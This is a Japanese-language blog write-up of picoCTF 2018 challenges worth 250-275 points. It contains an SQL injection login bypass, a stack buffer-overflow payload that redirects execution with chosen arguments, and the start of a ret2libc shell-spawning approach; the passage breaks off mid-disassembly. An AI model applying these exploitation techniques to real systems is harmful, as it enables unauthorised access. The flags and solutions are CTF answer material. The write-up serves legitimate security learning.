好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 250~275pt問題のwrite-up

picoCTF 2018 の write-up 250~275点問題編。200点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

問題も複雑になってくることもあり、英語の問題の読解力が問われる…。そして、200pt問題にもましてサクッと解ける問題と時間がかかる問題が別れてきた印象。
でもやっぱりBinary/Reversing問題が点数に対してめちゃむずい気がするのは、私が全然触っていなかった領域だから?解けている人も少ないような。
今回、最後の方の Binary 系問題で初めて、 python の pwntool 使ってみました。超便利!
そして相変わらず、radare2も超便利!!アセンブラを眺めて「おっ、ここの挙動ループ処理っぽいな!」なんてやってたのが、可視化されて出力していただける…。控えめに言って神。

275ptまでを終えると、スコアは10110pt(bin!)。1000番台になりました。まだまだ上はたくさんいますねぇ。

f:id:kusuwada:20190312122514p:plain

[Web] Buttons (250pt)

There is a website running at http://2018shell.picoctf.com:65107 (link). Try to see if you can push their buttons.

指定されたURLに飛ぶと、こんなページが。

f:id:kusuwada:20190312122557p:plain

ボタンがあるなら押して見る。とこんなページに飛ぶ。

f:id:kusuwada:20190312122627p:plain

今度はリンク。今度は押すとこんなページに飛んだ。

f:id:kusuwada:20190312122641p:plain

動画が流れている。テキストは

Button2: ACCESS DENIED FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null

だそうです。

Button1とButton2のソースを比較してみると、Button1のボタン部分は

<form action="button1.php" method="POST">
    <input type="submit" value="PUSH ME! I am your only hope!"/>
</form>

Button2は、FORM DISABLED. のところが実はformになっている。

<form action="button2.php" method="POST">
    FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null                  
</form>

が、input typeの指定がないためPOSTがブラウザからではできず、ボタンとして機能していないように見える。
問題文に、"Try to see if you can push their buttons" とあるので、POST method を呼んであげて、Button2を機能させれば良いのかな。
今回POSTに詰めるデータは不要なので、シンプルですがこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "http://2018shell.picoctf.com:65107/button2.php"

r = requests.post(url)
print(r.text)

実行結果

$ python solve.py 
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

[Forensics] Ext Super Magic (250pt)

We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the filesystem out of the black box. It looks a bit corrupted, but maybe there's something interesting in there. You can also find it in /problems/ext-super-magic_0_621bc2a94057a3e5a0aa0816da3fe8fb on the shell server.

破損したimage(filesystem)を救済せよ、という問題っぽい。DLしたfilesystemはこちら

$ file ext-super-magic.img 
ext-super-magic.img: data

ただのdataとのこと。拡張子的に .img だし、問題文的にも image なんだろうけど、多分ヘッダ部分が壊れていて識別できない様子。 なんとなくforemostで分解してみると、こんな感じでjpg画像がずらーーーっと50枚。

f:id:kusuwada:20190312123339p:plain

それぞれのイメージに時々、破損しているが Your flag is in another file と書いてある。
が、それ以上の情報が得られなかったので Hint を見てみる。

  • Are there any tools for diagnosing corrupted filesystems? What do they say if you run them on this one?
  • How does a linux machine know what type of file a file is?
  • You might find this doc helpful.
  • Be careful with endianness when making edits.
  • Once you've fixed the corruption, you can use /sbin/debugfs to pull the flag file out.

使ったことのないツールやドキュメントへのリンクが沢山。

1つ目と3つ目のヒントから、ext2という形式のimageが破損しているっぽくって、fsckというツールで何やらチェックできるっぽい、と予測。fsck ext2 で検索してみると、こんなman pageが。
fsck.ext2(8): check ext2/ext3/ext4 file system - Linux man page

fsck.ext2 を使ってチェックしてみます。

# fsck.ext2 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
ext2fs_open2: Bad magic number in super-block
fsck.ext2: Superblock invalid, trying backup blocks...
fsck.ext2: Bad magic number in super-block while trying to open ./ext-super-magic.img

The superblock could not be read or does not describe a valid ext2/ext3/ext4
filesystem.  If the device is valid and it really contains an ext2/ext3/ext4
filesystem (and not swap or ufs or something else), then the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
    e2fsck -b 8193 <device>
 or
    e2fsck -b 32768 <device>

ふむふむ。Bad magic number in super-block とのことです。なにやらこれやってみたら?と言われているのでやってみます。

# e2fsck -b 8193 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?
# e2fsck -b 32768 ./ext-super-magic.img 
e2fsck 1.44.5 (15-Dec-2018)
e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img
Could this be a zero-length partition?

うーん、失敗したみたい。壊れているというよりは、0埋めになってるから修復もクソもないぜって感じなんだろうか。

FILE SIGNATURE TABLE のページでは、今回のファイル形式のものが見つからず。
The Second Extended File System こっちの方に、ext2のmagic numberとsuper-blocksについての説明が。

16bit value identifying the file system as Ext2. The value is currently fixed to EXT2_SUPER_MAGIC of value 0xEF53. The superblock is always located at byte offset 1024 from the beginning of the file, block device or partition formatted with Ext2 and later variants (Ext3, Ext4). Offset (bytes) Size (bytes) Description 56 2 s_magic

ということで、super-blockの、offset 56 に magic 0xef53 が来るはずらしい。little endianなので 53 ef かな。更に、super-block自体のoffsetは1024とのこと。

バイナリの書き換えは、使い慣れているMacのバイナリ編集アプリ HEX を使用。

f:id:kusuwada:20190312123405p:plain

対象のoffsetは 1024 + 56 = 1080 -> 0x438
ここを 53 ef に書き換えて保存。
保存したあとのファイルを見てみると

$ file fixed_ext-super-magic.img 
fixed_ext-super-magic.img: Linux rev 1.0 ext2 filesystem data, UUID=9a8b8c68-1f83-4b78-8a67-bd9843ea3e13 (large files)

おお、ちゃんとimageとして認識されました。
ここから、ヒントの最後にあった debugfs を使って flag file があるらしいので探してみます。

# debugfs fixed_ext-super-magic.img 
debugfs 1.44.5 (15-Dec-2018)
debugfs:  ls
~~中略~~
436  (24) filler-471.jpg    439  (16) flag.jpg    506  (24) filler-347.jpg   
 512  (480) filler-302.jpg    55  (24) filler-147.jpg   
 128  (24) filler-182.jpg    170  (24) filler-473.jpg 
~~略~~

ということで、よーく見ないと気づきませんでしたが、flag.jpg というのがいらっしゃいます!このファイルをdumpして書き出してあげます。

debugfs:  dump flag.jpg flag.jpg
debugfs:  q
# ls
ext-super-magic.img  fixed_ext-super-magic.img  flag.jpg

flag.jpgが出力されました!こんなのでした。小さくflagが書いてあります٩(๑❛ᴗ❛๑)۶
新しいツールやサイトをたくさん触れてよかった!今までは割とその場限りのググったりバイナリいじったりで終わっていたけど、これくらいしっかりヒントが有ると、道を外れず王道の解き方(多分)ができて良い!!

[Forensics] Lying Out (250pt)

Some odd traffic has been detected on the network, can you identify it? More info here. Connect with nc 2018shell.picoctf.com 2245 to help us answer some questions.

てっきり traffic のリンクからパケットキャプチャがDLできると思ってたら、以下のpngファイルだった。

f:id:kusuwada:20190312123455p:plain

グラフからは、3回ほどトラフィック(IP数)のピークがあったことがわかる。正直それくらいしかわからん。
more info here, とのことなので、そこから下記の info.txt をDLできる。

You've been given a dataset of 4800 internet traffic logs for your organization's website. This dataset covers the number of unique IP addresses sending requests to the site in 15-minute "buckets", across a 24-hour day. The attached plot will help you see the daily pattern of traffic. You should see 3 spikes of traffic: one in the morning, one at midday, and one in the evening.

Your organization needs your help to figure out whether some recent activity indicates unusual behavior. It looks like some logs have higher-than-usual traffic in their time bucket: many more unique IP addresses are trying to access the site than usual. This might be evidence that someone is trying to do something shady on your site.

ふむ。

次に指定されたホストにncしてみる。

$ nc 2018shell.picoctf.com 2245
You'll need to consult the file `traffic.png` to answer the following questions.


Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
    log_ID      time  num_IPs
0        0  00:30:00    10436
1        1  00:45:00    10318
2        2  06:45:00    11569
3        3  09:00:00     9637
4        4  10:00:00    11663
5        5  10:30:00     9751
6        6  12:00:00    15219
7        7  12:00:00    13390
8        8  14:45:00     9694
9        9  15:30:00    11550
10      10  17:15:00    10089
11      11  21:00:00     9722
12      12  21:30:00    10283
13      13  22:45:00    11591

ほうほう。ここまで読んで初めて問題がわかるんだ。traffic.pngは通常時のトラフィックをプロットしています。これと比較して、サイトが提示したトラフィックからイレギュラーなもの(LogID)を答えてね、という話らしい。

割と時間ハマってくれるみたいだったので、目視で解いた。グラフから割と外れているリクエスト数のある番号を答えていく。
下記は上の通信の続き。2 4 9 13 をinputで入れた。

2 4 9 13 
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_04c41b59}

[Crypto] Safe RSA (250pt)

Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..

DLした ciphertext はこちら。

N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e: 3

ciphertext (c): 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125 

eが非常に小さいと、Low Public-Exponent Attack の手法が使えます。前もお世話になったこちらを参考に。

Low Public-Exponent Attack - akashisnの日記

暗号文cが以下で与えられており、 c ≡ me mod n mについて以下の条件を満たす時、 m < nのe乗根 mod nの影響を受けないので、 m = cのe乗根 cのe乗根を取るとmが求まる。

#!/usr/bin/env python3

import gmpy2

e = 3
c = 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125

m, result = gmpy2.iroot(c,e)
if result:
    flag = bytes.fromhex(hex(m)[2:]).decode('ascii')
    print(flag)

実行結果

$ python solve.py 
picoCTF{e_w4y_t00_sm411_9f5d2464}

[Web] The Vault (250pt)

There is a website running at http://2018shell.picoctf.com:49030 (link). Try to see if you can login!

ログインしてみなっ!て問題かな。
指定されたurlに飛んでみると、こんなページが表示されました。

f:id:kusuwada:20190312123558p:plain

おや、下の方に login.phpソースコードへのリンクが。

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();
    
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }
  
?>

注目すべきは $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'"; ですね。SQL injectionの脆弱性がありそうです。
Usernameに admin'-- を入れたところ、Loginに成功、Flagが取れました!

f:id:kusuwada:20190312123616p:plain

[Forensics] What's My Name? (250pt)

Say my name, say my name.

リンクから下記ファイルをDL。今度こそパケットキャプチャファイルが落ちてきました。wiresharkで開いてみます。
...うわー6,000行あるよー。

ということで、ちょっとずるいですがパケット解析はせずに下記コマンドを。

$ strings myname.pcap | grep pico
76picoCTF{w4lt3r_wh1t3_33ddc9bcc77f22a319515c59736f64a2}

ちなみに、wireshark上でも、DNS プロトコルの通信でフィルタすると、L55 がHitし、そこにFlagがありました!

f:id:kusuwada:20190312123658p:plain

[General] absolutely relative (250pt)

In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc on the shell server. Source.

DLしたファイルを確認。実行ファイルはこちら。

$ file absolutely-relative
absolutely-relative: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=684fd61c75d0d4b0f19981366982f09247f797e8, not stripped

ソースはこちら。

#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
    char flag[99];
    char permission[10];
    int i;
    FILE * file;


    file = fopen("/problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/flag.txt" , "r");
    if (file) {
        while (fscanf(file, "%s", flag)!=EOF)
        fclose(file);
    }   
    
    file = fopen( "./permission.txt" , "r");
    if (file) {
        for (i = 0; i < 5; i++){
            fscanf(file, "%s", permission);
        }
        permission[5] = '\0';
        fclose(file);
    }
    
    if (!strncmp(permission, yes, yes_len)) {
        printf("You have the write permissions.\n%s\n", flag);
    } else {
        printf("You do not have sufficient permissions to view the flag.\n");
    }
    
    return 0;
}

flag.txtがpicoCTFのshell上にあるので、picoCTFのshellで実施します。

$ ./absolutely-relative                                                                                                               
You do not have sufficient permissions to view the flag. 

このままでは実行できないみたいです。

プログラムを読んでみます。

  • flag.txtの読み込み -> flag
  • ./permission.txt の読み込み -> permission[5]
  • permissionyes="yes" との比較
  • 比較の結果正しければ flag を表示

どうやら permission.txt というのを実行ディレクトリに置く必要がありそう。
しかしpicoCTFのshell serverの実行ファイルのあるdirectoryには、あたらしくfileを作成する権限がありません。
ソースを良く見てみる&タイトルを考えると、flag.txt が絶対パスなのに対して、permission.txtが相対パスなのが鍵。
shell server上のどこでこのプログラムを動かしても、flag.txtは絶対パスで指定されているので、正しいところから読んでくれそうです。permission.txtを配置できる場所で実行させることで無事解決しそう。

$ cd /tmp
$ mkdir tmpkusuwada
$ cd tmpkusuwada
$ touch permission.txt

お!/tmp ファイル配下に、permission.txtを作成できました!

$ echo "yes" > permission.txt
$ /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/absolut
ely-relative                                                                                                    
You have the write permissions.                                                                                 
picoCTF{3v3r1ng_1$_r3l3t1v3_6193e4db}                                     

[Reversing] assembly-2 (250pt)

What does asm2(0x8,0x21) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-2_1_c1900e7d33989b0191c51ef927b24f37.

与えられたソースはこちら。

.intel_syntax noprefix
.bits 32
    
.global asm2

asm2:
    push    ebp
    mov     ebp,esp
    sub     esp,0x10
    mov     eax,DWORD PTR [ebp+0xc]
    mov     DWORD PTR [ebp-0x4],eax
    mov     eax,DWORD PTR [ebp+0x8]
    mov DWORD PTR [ebp-0x8],eax
    jmp     part_b
part_a: 
    add     DWORD PTR [ebp-0x4],0x1
    add DWORD PTR [ebp+0x8],0xa9
part_b: 
    cmp     DWORD PTR [ebp+0x8],0x3923
    jle     part_a
    mov     eax,DWORD PTR [ebp-0x4]
    mov esp,ebp
    pop ebp
    ret

あれ、こっちのほうが assembly-1 より短くない?
(0x8,0x21)の入力で何が出力されるか?という問題。

.intel_syntax noprefix
.bits 32
    
.global asm2

asm2:
    push    ebp                      # base pointer を stackの一番上に
    mov     ebp,esp                  # stack pointer を ebp に追従
    sub     esp,0x10                 # stack pointer を 0x10 ひく
    mov     eax,DWORD PTR [ebp+0xc]  # eaxに 0x21 を代入
    mov     DWORD PTR [ebp-0x4],eax  # ebp-0x4 に eax (0x21) を代入
    mov     eax,DWORD PTR [ebp+0x8]  # eax に 0x8 を代入
    mov     DWORD PTR [ebp-0x8],eax  # ebp-0x8 に eax (0x8) を代入
    jmp     part_b                   # part_b へ飛ぶ
part_a: 
    add     DWORD PTR [ebp-0x4],0x1  # ebp-0x4(0x21) に 0x1 を足す -> ebp-0x4 = 0x22
    add     DWORD PTR [ebp+0x8],0xa9 # ebp+0x8(0x8) に 0xa9 を足す -> 0xb1 ※1
part_b: 
    cmp     DWORD PTR [ebp+0x8],0x3923  # 0x8 と 0x3923 を比較
    jle     part_a                      # 0x8のほうが小さいので、part_aへ飛ぶ
    mov     eax,DWORD PTR [ebp-0x4]
    mov esp,ebp
    pop ebp
    ret

※1 のあと、part_b に戻り、 cmp DWORD PTR [ebp+0x8],0x3923true になるまで繰り返します。
0x80xa9 を足していき、 0x3923 になるまで続けると、ebp-0x40x210x1 を足していき、最終的に 0x21 +0x57 = 0x78 になります。
この値がretになるので、答えは0x78

[Binary] buffer overflow 2 (250pt)

Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.

実行ファイルはこちら。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped

ソースはこちら。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

今回もプログラム中から flag.txt を読み出して表示するので、picoCTFのshell server上で実行する。

$ cd /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257       
$ ls                    
flag.txt  vuln  vuln.c

よしよし。ちゃんとflag.txtある。
mainからソースを読んでみます。mainの中では、 vuln() 関数を呼び出し、vuln関数の中ではbuffer(size=100)にユーザー入力を格納。bufferを出力しておしまい。
肝心のflagを出力する関数 win はcallされないようです。
更に win() 関数を呼ばれた場合、arg1, arg2、2つの引数を渡して上げる必要があるようです。しかもこの引数がそれぞれ 0xDEADBEEF, 0xDEADC0DE に等しいときに限り、flagが表示されるようです。

今回のミッションは、vuln()関数のinput入出力時にBufferOverflowさせ、win()関数を正しい引数付きで呼び出す、です。

$ objdump -d vuln | grep win
080485cb <win>:
 80485ed:   75 1a                   jne    8048609 <win+0x3e>
 8048624:   75 1a                   jne    8048640 <win+0x75>
 804862d:   75 14                   jne    8048643 <win+0x78>
 804863e:   eb 04                   jmp    8048644 <win+0x79>
 8048641:   eb 01                   jmp    8048644 <win+0x79>

win()関数のアドレスは 0x080485cb
vuln()関数の内訳はこんな感じ。

08048646 <vuln>:
 8048646:   55                      push   %ebp               # base pointer を stackの一番上に
 8048647:   89 e5                   mov    %esp,%ebp          # stack pointer を ebpに追従
 8048649:   83 ec 78                sub    $0x78,%esp         # esp を 0x78(=120d) 上に
 804864c:   83 ec 0c                sub    $0xc,%esp          # esp を更に 0xc(=12d) 上に
 804864f:   8d 45 94                lea    -0x6c(%ebp),%eax   # ebp-0x6c(=108d) にeaxを格納
 8048652:   50                      push   %eax               # eax を stackの一番上に
 8048653:   e8 d8 fd ff ff          call   8048430 <gets@plt> # gets関数をcall
 8048658:   83 c4 10                add    $0x10,%esp         # esp を 0x10(=16d) 下に
 804865b:   83 ec 0c                sub    $0xc,%esp          # esp を 0xc(=12d) 上に
 804865e:   8d 45 94                lea    -0x6c(%ebp),%eax   # ebp-0x6c(=108d) にeaxを格納
 8048661:   50                      push   %eax               # eax を stackの一番上に
 8048662:   e8 f9 fd ff ff          call   8048460 <puts@plt> # puts関数をcall
 8048667:   83 c4 10                add    $0x10,%esp         # espを 0x10(=12d) 下に
 804866a:   90                      nop
 804866b:   c9                      leave  
 804866c:   c3                      ret

これらの情報から、適当な文字列(a)で (108 + 4 = 112) を埋めてやります。
このあと、win()関数のアドレスを、リトルエンディアンで入れます。(\xcb\x85\x04\x08)
更に、win()関数の return address の4バイトを適当な文字列(a)で埋めます。
そこから同様に引数をリトルエンディアンで詰めます。(\xef\xbe\xad\xde, \xde\xc0\xad\xde)
今回は手作業で作りました(ノ≧ڡ≦)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde

この文字列を、buffer overflow 1と同じ方法で送り込んでやります。

$ echo -e "aaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\
x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde" | ./vuln
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
˅aaaaᆳ-                                                                                                         
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault (core dumped)

[Crypto] caesar cipher 2 (250pt)

Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server.

シーザー暗号の一種のつもり、らしい。

$ cat ciphertext 
4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA

落としてきた暗号文はこちら。やけに記号が多い…。ということは、記号も含めてなん文字かシフトさせる暗号っぽい。
どうやって辞書を作るかは、とりあえず記号やアルファベット・数字を組み合わせて作るのもありだけども、考える組み合わせが多すぎるなーとおもってヒントを見てみる。

You'll have figure out the correct alphabet that was used to encrypt the ciphertext from the ascii character set ASCII Table

おお、これは大ヒント!ASCII Tableから辞書を作れば良さそう!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = "4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA"

all_strings = []
start_index = 32 # space
end_index = 125  # }

# create ascii table
for i in range(end_index + 1 - start_index):
    print(chr(start_index + i))
    all_strings.append(chr(start_index + i))

def ceaser(shift, c):
    return all_strings[(all_strings.index(c) + shift) % len(all_strings)]

for shift in range(len(all_strings)):
    plain = ""   
    for c in cipher:
        plain += ceaser(shift, c)
    print(plain)

どこからどこまでを辞書の範囲とするかは、実行結果を見てちょいと調節しました。
実行結果

$ python solve.py | grep pico
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

[Binary] got-2-learn-libc (250pt)

This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source.

なんか解けた人少なめだし、Binaryだし、最初からヒントも見る!

try returning to systems calls to leak information don't forget you can always return back to main()

DLできるファイルは、実行ファイルとcのソース。

$ file vuln
vuln: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

systemcallのアドレスをいくつか返すので、shellを取ってみなさい、という問題。
systemcallがらみだし、picoCTFのshell serverで実行してみます。指定されたディレクトリに行くと、flag.txtも落ちてました。systemcallを呼び出し、flag.txtを表示させる問題っぽい。

$ ./vuln                 
Here are some useful addresses:                                                                                 
                                                                                                                
puts: 0xf7645140                                                                                                
fflush 0xf7643330                                                                                               
read: 0xf76ba350                                                                                                
write: 0xf76ba3c0                                                                                               
useful_string: 0x56574030                                                                                       
                                                                                                                
Enter a string:                                                                                                 
aaaaaaaaaaaaaaaaaaa                                                                                             
aaaaaaaaaaaaaaaaaaa                                                                                             
Thanks! Exiting now...

実行すると、いくつかsystemcallのアドレスっぽいものが出力され、その後自由に文字列を入力できるようです。文字列入力部分は vuln() 関数。BUFSIZEが148なので、これを超えるとBuffer Overflowする。
ちなみに、実行するたびに各関数のアドレスの値が変わります。
最後の useful_strings だけ systemcall 関数とは関係ないですが、これは vuln.c の中で定義している値。ここに "/bin/sh" の文字列が格納されており、ソースコードには "sellを取るのに使えるかも?" というヒントが書いてあります。

このあたりのワードで検索してみると、下記の記事が引っかかりました。ksnctf の @kusano_k さんの katagaitai CTF勉強会 の記事でした。

katagaitai CTF勉強会の宿題 - Qiita

まさにこれの問1ととても似ていそう。
アドレスが毎回変わっているのは、ASLRという仕組みのせいらしい。
しかし、この仕組でlibcの位置が変わっても、各関数と system の相対位置は変わらないので、各関数のアドレスから system のアドレスを計算できるらしい。

libc address search とかで検索すると、下記サイトが。ここでlibcのバージョンを検索したり、各関数のアドレスを調べられる。ちなみに、アドレスは下三桁を入れるらしい。

libc.blukat.me

検索結果

libc database search

ということで、fflush と system のアドレスの差は 0x229f0

あとは、BufferOverflowでどこで何を書けばsystem関数を呼び出せるのか。
ちょっと長いですが、アセンブラ。今回もradare2を使いました。main関数とvuln関数。

[0x565b6803]> pdf
            ;-- main:
/ (fcn) sym.main 256
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_4h @ esp+0x4
|           0x565b6803      8d4c2404       lea ecx, dword [arg_4h]     ; 4
|           0x565b6807      83e4f0         and esp, 0xfffffff0
|           0x565b680a      ff71fc         push dword [ecx - 4]
|           0x565b680d      55             push ebp
|           0x565b680e      89e5           mov ebp, esp
|           0x565b6810      53             push ebx
|           0x565b6811      51             push ecx
|           0x565b6812      83ec10         sub esp, 0x10
|           0x565b6815      e856feffff     call sym.__x86.get_pc_thunk.bx
|           0x565b681a      81c3e6170000   add ebx, 0x17e6
|           0x565b6820      8b83f0ffffff   mov eax, dword [ebx - 0x10]
|           0x565b6826      8b00           mov eax, dword [eax]
|           0x565b6828      6a00           push 0
|           0x565b682a      6a02           push 2                      ; 2
|           0x565b682c      6a00           push 0
|           0x565b682e      50             push eax
|           0x565b682f      e8acfdffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x565b6834      83c410         add esp, 0x10
|           0x565b6837      e884fdffff     call sym.imp.getegid
|           0x565b683c      8945f4         mov dword [local_ch], eax
|           0x565b683f      83ec04         sub esp, 4
|           0x565b6842      ff75f4         push dword [local_ch]
|           0x565b6845      ff75f4         push dword [local_ch]
|           0x565b6848      ff75f4         push dword [local_ch]
|           0x565b684b      e8b0fdffff     call sym.imp.setresgid
|           0x565b6850      83c410         add esp, 0x10
|           0x565b6853      83ec0c         sub esp, 0xc
|           0x565b6856      8d83b8e9ffff   lea eax, dword [ebx - 0x1648]
|           0x565b685c      50             push eax
|           0x565b685d      e8b6fdffff     call fcn.565b6618
|           0x565b6862      83c410         add esp, 0x10
|           0x565b6865      83ec08         sub esp, 8
|           0x565b6868      8b83e4ffffff   mov eax, dword [ebx - 0x1c]
|           0x565b686e      50             push eax
|           0x565b686f      8d83d9e9ffff   lea eax, dword [ebx - 0x1627]
|           0x565b6875      50             push eax
|           0x565b6876      e825fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b687b      83c410         add esp, 0x10
|           0x565b687e      83ec08         sub esp, 8
|           0x565b6881      8b83dcffffff   mov eax, dword [ebx - 0x24]
|           0x565b6887      50             push eax
|           0x565b6888      8d83e3e9ffff   lea eax, dword [ebx - 0x161d]
|           0x565b688e      50             push eax
|           0x565b688f      e80cfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b6894      83c410         add esp, 0x10
|           0x565b6897      83ec08         sub esp, 8
|           0x565b689a      8b83d4ffffff   mov eax, dword [ebx - 0x2c]
|           0x565b68a0      50             push eax
|           0x565b68a1      8d83eee9ffff   lea eax, dword [ebx - 0x1612]
|           0x565b68a7      50             push eax
|           0x565b68a8      e8f3fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565b68ad      83c410         add esp, 0x10
|           0x565b68b0      83ec08         sub esp, 8
|           0x565b68b3      8b83ecffffff   mov eax, dword [ebx - 0x14]
|           0x565b68b9      50             push eax
|           0x565b68ba      8d83f8e9ffff   lea eax, dword [ebx - 0x1608]
|           0x565b68c0      50             push eax
